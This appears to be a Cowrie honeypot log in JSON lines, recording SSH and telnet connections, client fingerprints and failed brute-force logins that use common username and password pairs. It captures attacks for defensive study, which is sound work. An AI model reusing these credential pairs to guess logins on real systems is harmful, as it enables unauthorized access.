{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":42952,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9e0e917d9b1","protocol":"ssh","message":"New connection: 41.242.115.84:42952 (159.203.135.109:22) [session: a9e0e917d9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:23.757646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:23.761361Z","src_ip":"41.242.115.84","session":"a9e0e917d9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:23.978361Z","src_ip":"41.242.115.84","session":"a9e0e917d9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome1","message":"login attempt [root/Welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:24.881569Z","src_ip":"41.242.115.84","session":"a9e0e917d9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:26.101590Z","src_ip":"41.242.115.84","session":"a9e0e917d9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.168536901474,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:34.961309Z","src_ip":"170.64.224.25","session":"b3161315735f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":35062,"dst_ip":"159.203.135.109","dst_port":22,"session":"34d78245a2d0","protocol":"ssh","message":"New connection: 162.214.22.174:35062 (159.203.135.109:22) [session: 34d78245a2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:38.783211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:38.786856Z","src_ip":"162.214.22.174","session":"34d78245a2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:38.875828Z","src_ip":"162.214.22.174","session":"34d78245a2d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tf1n3x$M@st3r@P@ss","message":"login attempt [root/B1tf1n3x$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:39.144470Z","src_ip":"162.214.22.174","session":"34d78245a2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:40.528968Z","src_ip":"162.214.22.174","session":"34d78245a2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":59384,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc824d5f34c","protocol":"ssh","message":"New connection: 154.205.134.214:59384 (159.203.135.109:22) [session: 4dc824d5f34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:53:30.028851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:53:30.035081Z","src_ip":"154.205.134.214","session":"4dc824d5f34c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:53:30.189156Z","src_ip":"154.205.134.214","session":"4dc824d5f34c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa,123456","message":"login attempt [root/Aa,123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:53:30.839340Z","src_ip":"154.205.134.214","session":"4dc824d5f34c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:53:31.996497Z","src_ip":"154.205.134.214","session":"4dc824d5f34c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.51900720596313,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:53:35.884121Z","src_ip":"94.23.66.112","session":"e2a158f9a198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":45490,"dst_ip":"159.203.135.109","dst_port":22,"session":"71709538770f","protocol":"ssh","message":"New connection: 172.190.89.127:45490 (159.203.135.109:22) [session: 71709538770f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:08.405095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:08.408624Z","src_ip":"172.190.89.127","session":"71709538770f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:08.421008Z","src_ip":"172.190.89.127","session":"71709538770f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwen","message":"login attempt [root/zhangwen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:08.495594Z","src_ip":"172.190.89.127","session":"71709538770f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:09.508356Z","src_ip":"172.190.89.127","session":"71709538770f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":48648,"dst_ip":"159.203.135.109","dst_port":22,"session":"529716b9f208","protocol":"ssh","message":"New connection: 41.242.115.84:48648 (159.203.135.109:22) [session: 529716b9f208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:19.881223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:19.883894Z","src_ip":"41.242.115.84","session":"529716b9f208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:20.093054Z","src_ip":"41.242.115.84","session":"529716b9f208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"q1w2e3r4t5y6","message":"login attempt [postgres/q1w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:20.966693Z","src_ip":"41.242.115.84","session":"529716b9f208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:22.178637Z","src_ip":"41.242.115.84","session":"529716b9f208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":35240,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbce8f6718c7","protocol":"ssh","message":"New connection: 192.163.244.125:35240 (159.203.135.109:22) [session: bbce8f6718c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:31.549923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:31.556951Z","src_ip":"192.163.244.125","session":"bbce8f6718c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:31.635474Z","src_ip":"192.163.244.125","session":"bbce8f6718c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celsius","password":"Cr@zy#P@ss!W0rd00","message":"login attempt [celsius/Cr@zy#P@ss!W0rd00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:31.870981Z","src_ip":"192.163.244.125","session":"bbce8f6718c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:33.232959Z","src_ip":"192.163.244.125","session":"bbce8f6718c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51976,"dst_ip":"10.17.0.5","dst_port":22,"session":"636ac3f02ab7","protocol":"ssh","message":"New connection: 91.92.40.176:51976 (10.17.0.5:22) [session: 636ac3f02ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:41.936666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:41.940828Z","src_ip":"91.92.40.176","session":"636ac3f02ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:42.021763Z","src_ip":"91.92.40.176","session":"636ac3f02ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache@123","message":"login attempt [apache/apache@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:42.268994Z","src_ip":"91.92.40.176","session":"636ac3f02ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0005317b1f2","protocol":"telnet","message":"New connection: 137.184.5.188:42602 (159.203.135.109:23) [session: e0005317b1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:42.272114Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:43.375074Z","src_ip":"91.92.40.176","session":"636ac3f02ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43548,"dst_ip":"159.203.135.109","dst_port":23,"session":"970add24b18f","protocol":"telnet","message":"New connection: 170.64.224.25:43548 (159.203.135.109:23) [session: 970add24b18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:52.382568Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":25088,"dst_ip":"10.17.0.5","dst_port":22,"session":"a888eb41ef56","protocol":"ssh","message":"New connection: 147.45.199.80:25088 (10.17.0.5:22) [session: a888eb41ef56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:56.158803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:56.162083Z","src_ip":"147.45.199.80","session":"a888eb41ef56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:56.260112Z","src_ip":"147.45.199.80","session":"a888eb41ef56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw1er2ty3","message":"login attempt [root/qw1er2ty3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:56.572097Z","src_ip":"147.45.199.80","session":"a888eb41ef56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:54:57.685186Z","src_ip":"147.45.199.80","session":"a888eb41ef56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.236478328704834,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:07.618952Z","src_ip":"170.64.224.25","session":"970add24b18f","protocol":"telnet"}
